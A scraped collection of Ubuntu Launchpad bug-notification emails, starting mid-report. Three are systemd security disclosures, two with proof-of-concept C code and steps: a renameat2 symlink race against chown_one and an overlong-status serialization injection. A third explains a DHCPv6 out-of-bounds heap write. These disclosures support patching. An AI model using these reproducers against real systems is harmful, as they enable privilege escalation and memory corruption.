LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu Bionic Beaver (development branch)" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/"; SUPPORT_URL="https://help.ubuntu.com/"; BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"; PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"; VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic :~# fdisk -l /dev/mapper/mpatha Disk /dev/mapper/mpatha: 600 GiB, 644245094400 bytes, 1258291200 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 32768 bytes / 32768 bytes Disklabel type: dos Disk identifier: 0xa5be904b Device Boot StartEnd Sectors Size Id Type /dev/mapper/mpatha-part1 2048 419432447 419430400 200G 83 Linux /dev/mapper/mpatha-part2 419432448 838862847 419430400 200G 83 Linux /dev/mapper/mpatha-part3 838862848 1258291199 419428352 200G 83 Linux :~# ls -l /dev/mapper/mpatha* lrwxrwxrwx 1 root root 7 Jan 9 04:04 /dev/mapper/mpatha -> ../dm-0 lrwxrwxrwx 1 root root 7 Jan 9 04:03 /dev/mapper/mpatha1 -> ../dm-1 lrwxrwxrwx 1 root root 7 Jan 9 04:03 /dev/mapper/mpatha2 -> ../dm-2 lrwxrwxrwx 1 root root 7 Jan 9 04:03 /dev/mapper/mpatha3 -> ../dm-3 == Comment: #2 - Chanh H. Nguyen - 2018-01-09 11:35:04 == I just modify the partitions and it is still showing the conflicting name on partitions. :~# ls -l /dev/mapper/mpatha* lrwxrwxrwx 1 root root 7 Jan 9 04:33 /dev/mapper/mpatha -> ../dm-0 lrwxrwxrwx 1 root root 7 Jan 9 04:33 /dev/mapper/mpatha1 -> ../dm-1 lrwxrwxrwx 1 root root 7 Jan 9 04:33 /dev/mapper/mpatha2 -> ../dm-2 lrwxrwxrwx 1 root root 7 Jan 9 04:33 /dev/mapper/mpatha3 -> ../dm-3 lrwxrwxrwx 1 root root 7 Jan 9 04:33 /dev/mapper/mpatha4 -> ../dm-4 lrwxrwxrwx 1 root root 7 Jan 9 04:33 /dev/mapper/mpatha5 -> ../dm-5 lrwxrwxrwx 1 root root 7 Jan 9 04:33 /dev/mapper/mpatha6 -> ../dm-6 lrwxrwxrwx 1 root root 7 Jan 9 04:33 /dev/mapper/mpatha7 -> ../dm-7 lrwxrwxrwx 1 root root 7 Jan 9 04:33 /dev/mapper/mpatha8 -> ../dm-8 :~# fdisk -l /dev/mapper/mpatha Disk /dev/mapper/mpatha: 600 GiB, 644245094400 bytes, 1258291200 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 32768 bytes / 32768 bytes Disklabel type: dos Disk identifier: 0xa5be904b Device Boot StartEnd Sectors Size Id Type /dev/mapper/mpatha-part12048 419432447 419430400 200G 83 Linux /dev/mapper/mpatha-part2 419432448 838862847 419430400 200G 83 Linux /dev/mapper/mpatha-part3 838862848 964691967 125829120 60G 83 Linux /dev/mapper/mpatha-part4 964691968 1258291199 293599232 140G 5 Extended /dev/mapper/mpatha-part5 964694016 1006637055 41943040 20G 83 Linux /dev/mapper/mpatha-part6 1006639104 1048582143 41943040 20G 83 Linux /dev/mapper/mpatha-part7 1048584192 1090527231 41943040 20G 83 Linux /dev/mapper/mpatha-part8 1090529280 1132472319 41943040 20G 83 Linux == Comment: #5 - Kyle Mahlkuch - 2018-06-26 13:50:12 == I have created an
[Touch-packages] [Bug 1795921] Re: Out-of-Bounds write in systemd-networkd dhcpv6 option handling
** Information type changed from Private Security to Public Security
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1795921
Title:
Out-of-Bounds write in systemd-networkd dhcpv6 option handling
Status in systemd package in Ubuntu:
Confirmed
Bug description:
systemd-networkd contains a DHCPv6 client which is written from
scratch and can be spawned automatically on managed interfaces when
IPv6 router advertisement are received:
"Note that DHCPv6 will by default be triggered by Router Advertisement, if
that is enabled, regardless of this parameter. By enabling DHCPv6 support
explicitly, the DHCPv6 client will be started regardless of the presence of
routers on the link, or what flags the routers pass"
(https://www.freedesktop.org/software/systemd/man/systemd.network.html)
The function dhcp6_option_append_ia function is used to encode Identity
Associations received by the server into the options buffer of an outgoing
DHCPv6 packet:
//
https://github.com/systemd/systemd/blob/master/src/libsystemd-network/dhcp6-option.c#L82
int dhcp6_option_append_ia(uint8_t **buf, size_t *buflen, DHCP6IA *ia) {
uint16_t len;
uint8_t *ia_hdr;
size_t iaid_offset, ia_buflen, ia_addrlen = 0;
DHCP6Address *addr;
int r;
assert_return(buf && *buf && buflen && ia, -EINVAL);
switch (ia->type) {
case SD_DHCP6_OPTION_IA_NA:
len = DHCP6_OPTION_IA_NA_LEN;
iaid_offset = offsetof(DHCP6IA, ia_na);
break;
case SD_DHCP6_OPTION_IA_TA:
len = DHCP6_OPTION_IA_TA_LEN;
iaid_offset = offsetof(DHCP6IA, ia_ta);
break;
default:
return -EINVAL;
}
A: if (*buflen < len)
return -ENOBUFS;
ia_hdr = *buf;
ia_buflen = *buflen;
*buf += sizeof(DHCP6Option);
B: *buflen -= sizeof(DHCP6Option);
C: memcpy(*buf, (char*) ia + iaid_offset, len);
*buf += len;
D: *buflen -= len;
E:LIST_FOREACH(addresses, addr, ia->addresses) {
r = option_append_hdr(buf, buflen, SD_DHCP6_OPTION_IAADDR,
sizeof(addr->iaaddr));
if (r < 0)
return r;
memcpy(*buf, &addr->iaaddr, sizeof(addr->iaaddr));
*buf += sizeof(addr->iaaddr);
*buflen -= sizeof(addr->iaaddr);
ia_addrlen += sizeof(DHCP6Option) + sizeof(addr->iaaddr);
}
r = option_append_hdr(&ia_hdr, &ia_buflen, ia->type, len +
ia_addrlen);
if (r < 0)
return r;
return 0;
}
The function receives a pointer to the option buffer buf, it's remaining size
buflen and the IA to be added to the buffer. While the check at (A) tries to
ensure that the buffer has enough space left to store the IA option, it does
not take the additional 4 bytes from the DHCP6Option header into account (B).
Due to this the memcpy at (C) can go out-of-bound and *buflen can underflow in
(D) giving an attacker a very powerful and largely controlled OOB heap write
starting at (E).
The overflow can be triggered relatively easy by advertising a DHCPv6
server with a server-id >= 493 characters long. This will trigger the
following code once the client tries to create a REQUEST message:
//https://github.com/systemd/systemd/blob/7bcf8123c0305131ace02480763377af974924ef/src/libsystemd-network/sd-dhcp6-client.c#L493
case DHCP6_STATE_REQUEST:
case DHCP6_STATE_RENEW:
if (client->state == DHCP6_STATE_REQUEST)
message->type = DHCP6_REQUEST;
else
message->type = DHCP6_RENEW;
A: r = dhcp6_option_append(&opt, &optlen,
SD_DHCP6_OPTION_SERVERID,
client->lease->serverid_len,
client->lease->serverid);
if (r < 0)
return r;
if (FLAGS_SET(client->request, DHCP6_REQUEST_IA_NA)) {
B: r = dhcp6_option_append_ia(&opt, &optlen,
&client->lease->ia);
if (r < 0)
return r;
}
optlen starts with the value 512 and gets decreased to 15 (512 - 493 -
4) after the call in A. As 15 > DHCP6_OPTION_IA_NA_LEN but 15 <
(DHCP6_OPTION_IA_NA_LEN + 4) this triggers the memory corruption:
# journalctl -u systemd-networkd
Oct 03 14:27:50 ubuntu18 systemd-networkd[45095]: malloc(): memory corruption
Oct 03 14:27:50 ubuntu18 systemd[1]: systemd
[Touch-packages] [Bug 1796692] Re: chown_one() can dereference symlinks
** Information type changed from Private Security to Public Security
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1796692
Title:
chown_one() can dereference symlinks
Status in systemd package in Ubuntu:
Confirmed
Bug description:
[I am sending this bug report to Ubuntu, even though it's an upstream
bug, as requested at
https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports
.]
When chown_one() in the recursive chown logic decides that it has to change
ownership of a directory entry, it first changes ownership as follows:
if (name)
r = fchownat(fd, name, uid, gid, AT_SYMLINK_NOFOLLOW);
else
r = fchown(fd, uid, gid);
if (r < 0)
return -errno;
So far, this looks good. But then this happens:
/* The linux kernel alters the mode in some cases of chown(). Let's
undo this. */
if (name) {
if (!S_ISLNK(st->st_mode))
r = fchmodat(fd, name, st->st_mode, 0);
else /* There's currently no AT_SYMLINK_NOFOLLOW for
fchmodat() */
r = 0;
} else
r = fchmod(fd, st->st_mode);
This is dangerous, especially in the case where `name != NULL`.
First off: I don't think that the overall objective of this code block makes
sense. Yes, the kernel sometimes changes the mode when ownership is changed -
but that's only for set-UID binaries and set-GID binaries (but not
set-GID directories).
I'm pretty sure that setuid/setgid binaries aren't supposed to appear in these
directories anyway.
The problem here is that, as the comment explains,
`fchmodat(fd, name, st->st_mode, 0)` follows symlinks. The fchmodat() call is
guarded by a `S_ISLNK(st->st_mode)` check, but that's obviously racy and
therefore doesn't actually help.
My recommended fix is to just remove the offending code block. If, for some
crazy reason, you actually want to support changing the ownership of
setuid/setgid binaries, an alternative might be to do something like this:
int fd2 = openat(fd, name, O_PATH|O_NOFOLLOW|O_CLOEXEC);
if (fd2 >= 0) {
fchmod(fd2, st->st_mode);
close(fd2);
}
To reproduce, as root, create a service with "Restart=always",
"StartLimitIntervalSec=0", "StateDirectory=test_service" and "User=user"
(where
"user" is the name of an unprivileged account). Point "ExecStart" at a binary
that immediately exits:
int main(void) {
return 0;
}
Then start the service.
Next, as the user the service is running as, create some entries in
/var/lib/test_service:
user@ubuntu-18-04-vm:~$ cd /var/lib/test_service/
user@ubuntu-18-04-vm:/var/lib/test_service$ touch foo
user@ubuntu-18-04-vm:/var/lib/test_service$ chmod 0666 foo
user@ubuntu-18-04-vm:/var/lib/test_service$ ln -s /etc/hostname foo2
user@ubuntu-18-04-vm:/var/lib/test_service$ ln foo foo_link
user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la
total 8
drwxr-xr-x 2 user user 4096 Okt 8 16:42 .
drwxr-xr-x 67 root root 4096 Okt 8 15:30 ..
-rw-rw-rw- 2 user user0 Okt 8 16:16 foo
lrwxrwxrwx 1 user user 13 Okt 8 16:23 foo2 -> /etc/hostname
-rw-rw-rw- 2 user user0 Okt 8 16:16 foo_link
Create and run a helper that continuously switches "foo" and "foo2" with each
other:
user@ubuntu-18-04-vm:~$ cat exchange.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
int main(int argc, char **argv) {
char *base = argv[1], *p1 = argv[2], *p2 = argv[3];
if (chdir(base)) err(1, "chdir");
while (1) {
if (syscall(__NR_renameat2, AT_FDCWD, p1, AT_FDCWD, p2, 2))
perror("renameat");
}
}
user@ubuntu-18-04-vm:~$ gcc -o exchange exchange.c -O2
user@ubuntu-18-04-vm:~$ ./exchange /var/lib/test_service foo foo2
Change ownership of "foo_link" and the test_service directory to trigger the
permission fixup logic when the service restarts the next time:
user@ubuntu-18-04-vm:/var/lib/test_service$ chown user:cdrom foo_link .
Check whether it worked:
user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la /etc/hostname .
-rw-r--r-- 1 root root 16 Jul 3 19:20 /etc/hostname
.:
total 8
drwxr-xr-x 2 user user 4096 Okt 8 16:45 .
drwxr-xr-x 67 root root 4096 Okt 8 15:30 ..
lrwxrwxrwx 1 user user 13 Okt 8 16:23 foo -> /etc/hostname
-rw-rw-rw- 2 user user0 Okt 8 16:16 foo2
-rw-rw-rw- 2 user user0 Okt 8 16:16 foo_link
If it didn't work (as in this example), retry the chown a few times. After a
few
times, you should see this:
==
[Touch-packages] [Bug 1796402] Re: systemd: reexec state injection: fgets() on overlong lines leads to line splitting
** Information type changed from Private Security to Public Security
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1796402
Title:
systemd: reexec state injection: fgets() on overlong lines leads to
line splitting
Status in systemd package in Ubuntu:
Confirmed
Bug description:
systemd: reexec state injection: fgets() on overlong lines leads to
line splitting
[I am sending this bug report to Ubuntu, even though it's an upstream
bug, as requested at
https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports
.]
When systemd re-executes (e.g. during a package upgrade), state is
serialized into a memfd before the execve(), then reloaded after the
execve(). Serialized data is stored as text, with key-value pairs
separated by newlines. Values are escaped to prevent control character
injection.
Lines associated with a systemd unit are read in unit_deserialize()
using fgets():
char line[LINE_MAX], *l, *v;
[...]
if (!fgets(line, sizeof(line), f)) {
if (feof(f))
return 0;
return -errno;
}
LINE_MAX is 2048:
/usr/include/bits/posix2_lim.h:#define LINE_MAX _POSIX2_LINE_MAX
/usr/include/bits/posix2_lim.h:#define _POSIX2_LINE_MAX 2048
When fgets() encounters overlong input, it behaves dangerously. If a
line is more than 2047 characters long, fgets() will return the first
2047 characters and leave the read cursor in the middle of the
overlong line. Then, when fgets() is called the next time, it
continues to read data from offset 2047 in the line as if a new line
started there. Therefore, if an attacker can inject an overlong value
into the serialized state somehow, it is possible to inject extra
key-value pairs into the serialized state.
A service that has `NotifyAccess != none` can send a status message to
systemd that will be stored as a property of the service. When systemd
re-executes, this status message is stored under the key
"status-text".
Status messages that are sent to systemd are received by
manager_dispatch_notify_fd(). This function has a receive buffer of
size NOTIFY_BUFFER_MAX==PIPE_BUF==4096.
Therefore, a service with `NotifyAccess != none` can trigger this bug.
Reproducer:
Create a simple service with NotifyAccess by copying the following
text into /etc/systemd/system/notify_test.service (assuming that your
home directory is /home/user):
=
[Unit]
Description=jannh test service for systemd notifications
[Service]
Type=simple
NotifyAccess=all
FileDescriptorStoreMax=100
User=user
ExecStart=/home/user/test_service
Restart=always
[Install]
WantedBy=multi-user.target
=
Create a small binary that sends an overlong status when it starts up:
=
user@ubuntu-18-04-vm:~$ cat test_service.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
int main(void) {
int sock = socket(AF_UNIX, SOCK_DGRAM, 0);
if (sock == -1) err(1, "socket");
struct sockaddr_un addr = {
.sun_family = AF_UNIX,
.sun_path = "/run/systemd/notify"
};
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))) err(1,
"connect");
char message[0x2000] = "STATUS=";
memset(message+7, 'X', 2048-1-12);
strcat(message, "main-pid=13371337");
struct iovec iov = {
.iov_base = message,
.iov_len = strlen(message)
};
union {
struct cmsghdr cmsghdr;
char buf[CMSG_SPACE(sizeof(struct ucred))];
} control = { .cmsghdr = {
.cmsg_level = SOL_SOCKET,
.cmsg_type = SCM_CREDENTIALS,
.cmsg_len = CMSG_LEN(sizeof(struct ucred))
}};
struct ucred *ucred = (void*)(control.buf + CMSG_ALIGN(sizeof(struct
cmsghdr)));
ucred->pid = getpid();
ucred->uid = getuid();
ucred->gid = getgid();
struct msghdr msghdr = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = &control,
.msg_controllen = sizeof(control)
};
if (sendmsg(sock, &msghdr, 0) != strlen(message)) err(1, "sendmsg");
while (1) pause();
}
user@ubuntu-18-04-vm:~$ gcc -o test_service test_service.c
user@ubuntu-18-04-vm:~$
=
Install the service, and start it. Then run strace against systemd,
and run:
=
root@ubuntu-18-04-vm:~# systemctl daemon-reexec
root@ubuntu-18-04-vm:~# systemctl stop notify_test.service
=
The "stop" command hangs, and you'll see the following in strace:
=
[Touch-packages] [Bug 1800012] [NEW] ogg vorbis corruption
Public bug reported: TagLib 1.11.1 corrupts ogg vorbis files. See https://github.com/taglib/taglib/issues/775 It would be good to apply attached patch for released distributions. See upstream bugs for more details: https://github.com/taglib/taglib/issues/775 https://github.com/taglib/taglib/issues/864 ** Affects: taglib (Ubuntu) Importance: Undecided Status: New ** Attachment added: "taglib-1.11.1-bug-864.patch" https://bugs.launchpad.net/bugs/1800012/+attachment/5205533/+files/taglib-1.11.1-bug-864.patch -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to taglib in Ubuntu. https://bugs.launchpad.net/bugs/1800012 Title: ogg vorbis corruption Status in taglib package in Ubuntu: New Bug description: TagLib 1.11.1 corrupts ogg vorbis files. See https://github.com/taglib/taglib/issues/775 It would be good to apply attached patch for released distributions. See upstream bugs for more details: https://github.com/taglib/taglib/issues/775 https://github.com/taglib/taglib/issues/864 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/taglib/+bug/1800012/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1798656] Re: gtk3 frontend gives no widget for answering a boolean prompt
I was unable to recreate this today when performing an upgrade from Ubuntu 18.04 to Ubuntu 18.10. I did ensure that all updates were installed before I performed the upgrade between releases, something you may not have been forced to do as the ubuntu-release-upgrader change may not have landed the day you encountered this. ** Attachment added: "The dialog in question" https://bugs.launchpad.net/ubuntu/+source/debconf/+bug/1798656/+attachment/5205536/+files/20181025-bug1798656.png -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to debconf in Ubuntu. https://bugs.launchpad.net/bugs/1798656 Title: gtk3 frontend gives no widget for answering a boolean prompt Status in debconf package in Ubuntu: New Bug description: On upgrade from bionic to cosmic with update-manager, I was shown a debconf prompt about docker.io that asked: Automatically restart Docker daemon? There was no widget in the window that allowed me to select either yes or no. This is a grave deficiency in the default debconf frontend on the Ubuntu desktop. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/debconf/+bug/1798656/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799994] Re: Xorg loads, no display on 4.15.0-38 and 4.15.0-39, works on 4.15.0-36
For linux -38 and -39: apport-collect -p xorg 174 Thanks you! -- Cristian ** Changed in: xorg (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/174 Title: Xorg loads, no display on 4.15.0-38 and 4.15.0-39, works on 4.15.0-36 Status in linux package in Ubuntu: Incomplete Status in nvidia-graphics-drivers-390 package in Ubuntu: New Status in xorg package in Ubuntu: Incomplete Bug description: Lenovo ThinkPad W540 docked with an ultradock. 3 external displays running on VGA, DVI and display port all connected to the dock. BIOS mode set to run external displays ONLY with nvidia chipset. prime- select nvidia run. When running under 4.15.0-36-generic with nvidia 390.77-0ubuntu0.18.04.1 I boot and all three external displays run fine. Upgrading to 4.15.0-38 and Xorg starts up, but none of the displays light up. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: timr 3768 F pulseaudio /dev/snd/controlC1: timr 3768 F pulseaudio /dev/snd/controlC0: timr 3768 F pulseaudio CurrentDesktop: GNOME-Flashback:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2014-02-15 (1713 days ago) InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: LENOVO 20BHS02400 NonfreeKernelModules: nvidia_modeset nvidia Package: linux-image-generic 4.15.0.38.40 PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3fddcb3e-369a-45a1-bcf5-a73850ae7c9f ro video=1920x1080 "acpi_osi=!Windows 2012" ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-08-17 (68 days ago) UserGroups: adm cdrom dialout dip disk docker lpadmin plugdev sambashare sudo vboxusers video www-data _MarkForUpload: True dmi.bios.date: 03/16/2016 dmi.bios.vendor: LENOVO dmi.bios.version: GNET79WW (2.27 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BHS02400 dmi.board.vendor: LENOVO dmi.board.version: 0B98401 Pro dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrGNET79WW(2.27):bd03/16/2016:svnLENOVO:pn20BHS02400:pvrThinkPadW540:rvnLENOVO:rn20BHS02400:rvr0B98401Pro:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad W540 dmi.product.name: 20BHS02400 dmi.product.version: ThinkPad W540 dmi.sys.vendor: LENOVO --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2014-02-15 (1713 days ago) InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Release amd64 (20131016.1) MachineType: LENOVO 20BHS02400 NonfreeKernelModules: nvidia_modeset nvidia Package: linux-generic 4.15.0.38.40 PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-38-generic root=UUID=3fddcb3e-369a-45a1-bcf5-a73850ae7c9f ro video=1920x1080 "acpi_osi=!Windows 2012" ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-38-generic N/A linux-backports-modules-4.15.0-38-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-38-generic x86_64 UpgradeStatus: Upgraded to bionic on 2018-08-17 (69 days ago) UserGroups: adm cdrom dialout dip disk docker lpadmin plugdev sambashare sudo vboxusers video www-data _MarkForUpload: True dmi.bios.date: 03/16/2016 dmi.bios.vendor: LENOVO dmi.bios.version: GNET79WW (2.27 ) dmi.board.asset.tag: Not Available dmi.board.name: 20BHS02400 dmi.board.vendor: LENOVO dmi.board.version: 0B98401 Pro dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Not Available dmi.modalias: dmi:bvnLENOVO:bvrGNET79WW(2.27):bd03/16/2016:svnLENOVO:pn20BHS02400:pvrThinkPadW540:rvnLENOVO:rn20BHS02400:rvr0B98401Pro:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad W540 dmi.product.name: 20BHS02400 dmi.product.version: ThinkPad W540 dmi.sys.vendor: LENOVO --- ProblemType
[Touch-packages] [Bug 1798656] Re: gtk3 frontend gives no widget for answering a boolean prompt
This was an up to date 18.04 system before upgrading. Missing SRUs were not the cause. I will try to reproduce this myself (but probably not until next week). -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to debconf in Ubuntu. https://bugs.launchpad.net/bugs/1798656 Title: gtk3 frontend gives no widget for answering a boolean prompt Status in debconf package in Ubuntu: New Bug description: On upgrade from bionic to cosmic with update-manager, I was shown a debconf prompt about docker.io that asked: Automatically restart Docker daemon? There was no widget in the window that allowed me to select either yes or no. This is a grave deficiency in the default debconf frontend on the Ubuntu desktop. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/debconf/+bug/1798656/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799007] Re: [System76 Oryx Pro] no sound after 18.10 upgrade
@vanvugt: there's nothing in /var/crash from pulseaudio, and as noted above, pulse is started in non-daemon mode by Ubuntu. so it's running, but apps can't seem to talk to it. probably because of the failure to start the socket service, as noted above. without the socket, and without it being a daemon, I don't think there's any way for apps to actually reach pulse. Killing pulse works fine, but it just respawns in the same broken state: $ ps axf | grep pulse 20761 pts/0S+ 0:00 | | \_ grep --color=auto pulse 15659 ?Shttps://bugs.launchpad.net/bugs/1799007 Title: [System76 Oryx Pro] no sound after 18.10 upgrade Status in pulseaudio package in Ubuntu: Incomplete Bug description: After upgrading to 18.10, the sound in my System76 Oryx Pro no longer works, it no longer shows any of the audio output devices, not even the builtin HDMI which usually always shows. Not sure what happened, but this is a major regression and needs to be fixed. Note that this isn't the same as the bug with Timidity taking exclusive soundcard access (https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1797714) as I don't have any timidity packages installed. --- ProblemType: Bug ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: tessa 11703 F pulseaudio /dev/snd/controlC0: tessa 11703 F pulseaudio /dev/snd/pcmC0D0c: tessa 11703 F...m pulseaudio /dev/snd/pcmC0D0p: tessa 11703 F...m pulseaudio CurrentDesktop: pop:GNOME DistroRelease: Pop!_OS 18.10 InstallationDate: Installed on 2018-03-05 (230 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105.1) NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair nvidia_modeset nvidia Package: pulseaudio 1:12.2-0ubuntu4 [origin: Ubuntu] PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: Daemon not responding. Tags: third-party-packages cosmic Uname: Linux 4.18.0-10-generic x86_64 UnreportableReason: This is not an official Pop!_OS package. Please remove any third party package and try again. UpgradeStatus: Upgraded to cosmic on 2018-10-18 (3 days ago) UserGroups: adm audio cdrom chrome-remote-desktop dip docker libvirt lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 02/20/2017 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1.05.02dRSA2 dmi.board.asset.tag: Tag 12345 dmi.board.name: Oryx Pro dmi.board.vendor: System76 dmi.board.version: oryp3-ess dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: System76 dmi.chassis.version: N/A dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1.05.02dRSA2:bd02/20/2017:svnSystem76:pnOryxPro:pvroryp3-ess:rvnSystem76:rnOryxPro:rvroryp3-ess:cvnSystem76:ct10:cvrN/A: dmi.product.family: Not Applicable dmi.product.name: Oryx Pro dmi.product.sku: Not Applicable dmi.product.version: oryp3-ess dmi.sys.vendor: System76 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1799007/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1769194] Re: package resolvconf 1.79ubuntu10 failed to install/upgrade: installed resolvconf package post-installation script subprocess returned error exit status 1
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: resolvconf (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to resolvconf in Ubuntu. https://bugs.launchpad.net/bugs/1769194 Title: package resolvconf 1.79ubuntu10 failed to install/upgrade: installed resolvconf package post-installation script subprocess returned error exit status 1 Status in resolvconf package in Ubuntu: Confirmed Bug description: During a "do-release-upgrade -d" from 16.04 to 18.04, an unrelated error occurred. DNS didn't work at that time, so I removed resolvconf. I manually updated my sources.list and did a successful dist-upgrade. Then I tried to reinstall resolvconf, and got the error below. Installing new version of config file /etc/resolvconf/resolv.conf.d/head ... Created symlink /etc/systemd/system/systemd-resolved.service.wants/resolvconf-pull-resolved.path → /lib/systemd/system/resolvconf-pull-resolved.path. resolvconf-pull-resolved.service is a disabled or a static unit, not starting it. resolvconf-pull-resolved.service is a disabled or a static unit, not starting it. Removing obsolete conffile /etc/init/resolvconf.conf ... cp: not writing through dangling symlink '/etc/resolvconf/resolv.conf.d/original' dpkg: error processing package resolvconf (--configure): installed resolvconf package post-installation script subprocess returned error exit status 1 Errors were encountered while processing: resolvconf E: Sub-process /usr/bin/dpkg returned an error code (1) ProblemType: Package DistroRelease: Ubuntu 18.04 Package: resolvconf 1.79ubuntu10 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 AptOrdering: resolvconf:amd64: Install NULL: ConfigurePending Architecture: amd64 Date: Fri May 4 11:46:44 2018 DuplicateSignature: package:resolvconf:1.79ubuntu10 Removing obsolete conffile /etc/init/resolvconf.conf ... cp: not writing through dangling symlink '/etc/resolvconf/resolv.conf.d/original' dpkg: error processing package resolvconf (--configure): installed resolvconf package post-installation script subprocess returned error exit status 1 ErrorMessage: installed resolvconf package post-installation script subprocess returned error exit status 1 InstallationDate: Installed on 2017-05-26 (343 days ago) InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 (20170215.2) PackageArchitecture: all Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: resolvconf Title: package resolvconf 1.79ubuntu10 failed to install/upgrade: installed resolvconf package post-installation script subprocess returned error exit status 1 UpgradeStatus: Upgraded to bionic on 2018-05-04 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/resolvconf/+bug/1769194/+subscriptions -- 